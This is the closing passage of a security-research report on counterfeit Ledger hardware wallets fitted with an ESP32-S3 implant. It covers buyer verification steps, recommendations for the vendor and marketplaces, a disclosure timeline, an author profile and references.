3. Download Ledger Live only from https://www.ledger.com. Verify the SHA-256 hash of the installer against the hashes published on the Ledger website.

Post-purchase verification:

1. Run the Genuine Check immediately on first connection. If it fails, stop - the device is not authentic.
2. Verify the application certificate of any installed Ledger Live companion. A certificate owner of android@android.com (Android SDK debug key) is a positive indicator of counterfeit.
3. Monitor the Ledger website's security advisories page for active campaign notifications.

15.2 For Ledger SAS

• Publish a canonical list of authorized resellers with cryptographic attestation (signed listing) to allow clients to verify at point of purchase.
• Consider a public-facing serial-number verification API with rate limiting - a "Have I Been Sold a Counterfeit" lookup.
• Harden the Genuine Check failure UI to strongly discourage use of the device and direct the user to a mitigation flow.

15.3 For Marketplaces

• Proactively delist counterfeit hardware wallet listings. The research team is available to provide technical indicators (PCB photography, firmware hashes, ESP32-S3 flash patterns) to enable automated detection.
• Require brand verification for listings that reference Ledger, Trezor, or other hardware-wallet brand names.

15.4 For the Industry

• Hardware wallet threat models must account for supply-chain compromise as a first-class concern rather than an edge case.
• The research community benefits when teardown and firmware-analysis reports are published with structured IoCs - this report follows that convention in §11.

16. Responsible Disclosure

The research team submitted a complete technical briefing - including firmware dumps, APK binaries, disassembly artifacts, and IoCs - to Ledger SAS's Customer Success team on 2026-03-28, one week after the command-and-control infrastructure was mapped, and twenty-one days before the public release of the full whitepaper. High Code Security Research is committed to coordinated vulnerability disclosure and welcomes inbound contact from Ledger SAS, affected exchanges, marketplaces, and law-enforcement partners at support@high-code.com.

17. About High Code Security Research

High Code is a hardware-focused cybersecurity company headquartered in Delaware, United States, with research-and-development operations in Shenzhen, China. Our proximity to the global electronics supply chain provides unique access to emerging threats in hardware security, including counterfeit consumer devices, trojanized firmware, and compromised distribution channels.

The research in this report was conducted by Vinícius Pinheiro (@vini_bit), Founder of High Code, Emanuel Magalhães (@anarchyysm), Co-founder, and Joje Mendes (@null__jo), Co-founder, using standard security-research tooling: chip-off readouts, esptool flash extraction, hbctool / hermes-dec bytecode analysis, static and dynamic JavaScript inspection, and passive network reconnaissance of adversary infrastructure.

High Code is additionally developing the High Boy, a portable dual-MCU pentesting platform (Espressif ESP32-P4 + ESP32-C5) integrating Wi-Fi 6, BLE 5.3, LoRa, Sub-GHz, NFC, RFID, and IR in a single instrument. The High Boy is designed for security researchers conducting hardware-level investigations of the kind described in this report: wireless reconnaissance, firmware extraction, protocol fuzzing, and embedded-system forensics. Future analyses by this team will leverage the High Boy's integrated radio-frequency capabilities for deeper hardware inspection.

For inquiries, press contact, or responsible-disclosure coordination: support@high-code.com.

18. References

18.1 Original Disclosure

• Reddit post - author u/Past_Computer2901, r/ledgerwallet thread, published 2026-04-15

18.2 Related Materials

• Ledger SAS security advisories - https://www.ledger.com/security
• Espressif ESP32-S3 datasheet - https://www.espressif.com/en/products/socs/esp32-s3
• P1sec hermes-dec - https://github.com/P1sec/hermes-dec
• Ledger Live open-source - https://github.com/LedgerHQ/ledger-live

18.3 Document Metadata

• Document ID: HC-SR-2026-01
• Version: 1.0
• Publication date: 2026-04-18
• Classification: Public Release
• License: CC BY 4.0 - attribution to High Code Security Research required

Supply Chain Attack Analysis - Counterfeit Ledger Nano S Plus with ESP32-S3 Implant
3 attack vectors analyzed · 3 active C2 servers · 20 blockchains · 194,647 functions · 685 MB disassembly · 35+ malicious components
High Code Security Research - Vinícius Pinheiro · Emanuel Magalhães · Joje Mendes